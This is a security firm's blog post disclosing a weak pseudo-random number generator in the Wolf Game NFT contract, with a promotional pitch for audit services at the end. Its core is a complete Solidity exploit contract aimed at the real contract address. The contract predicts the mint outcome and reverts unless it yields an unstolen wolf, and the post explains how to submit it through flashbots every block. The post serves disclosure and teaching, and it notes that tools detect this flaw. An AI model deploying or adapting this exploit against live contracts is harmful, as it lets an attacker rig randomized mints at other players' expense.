Skip to content

Vulnerabilities in the Wolf Game

Dec 5th, 2021
3 min read time
@0xAlcibiades
@0xAlcibiades

The wolf game launched with critical exploits allowing for the manipulation of the NFT rarity system. We identified these issues and brought them to the attention of the devs, who interestingly ignored us for some time.

Below, we illustrate how easy it is to exploit a weak pseudo random number generator in Blockchain games.

Trivial Exploit for the weak PRNG in the wolf game

The original gist is here. Included inline:

// SPDX-License-Identifier: UNLICENSED

// It's trivially easy to exploit a weak PRNG based NFT.
// Just bundle this with a flashbots bundle where the mint occurs.
//
// It's also trivially easy to detect/prevent with a took like slither:
// https://github.com/crytic/slither/wiki/Detector-Documentation#weak-PRNG

pragma solidity ^0.8.0;

import "./WolfGame/Woolf.sol";

contract CatchTheWolf {
    address internal constant WOOLF_ADDRESS = 0xEB834ae72B30866af20a6ce5440Fa598BfAd3a42;

    Woolf private constant WGAME = Woolf(WOOLF_ADDRESS);

    constructor() payable {
    }

    receive() external payable {
    }

    fallback() external payable {
    }

    // A call we can revert on
    function roll_alpha() public {
        view_alpha();
    }

    // A view we can test with
    function view_alpha() public view {
        // We need to do it this way to account for theft and mixed ids.
        uint256 seed = WGAME.totalSupply() + 1;
        uint256 prn = random(seed);

        // We want to roll a wolf
        bool isSheep = (prn & 0xFFFF) % 10 != 0;
        require(!isSheep, 'Sheep');

        // Let's check that we'll own it.
        bool isOurs = ((prn >> 245) % 10) != 0;
        require(isOurs, "Stolen");

    }

    // The weak prng which started it all
    function random(uint256 seed) internal view returns (uint256) {
        return uint256(keccak256(abi.encodePacked(
                tx.origin,
                blockhash(block.number - 1),
                block.timestamp,
                seed
            )));
    }
}

Combine this with a bot submitting to flashbots every block and, voila, you’ve gamed the weak randomness.

How we prevented this

We prevented this in a security audit for a game which would later become Polyfarm:

Keeping games fair, and accruing value to the users.

Make your next launch a smashing success.

The first step is to send us a message telling us a little bit about your project on Discord.

Message us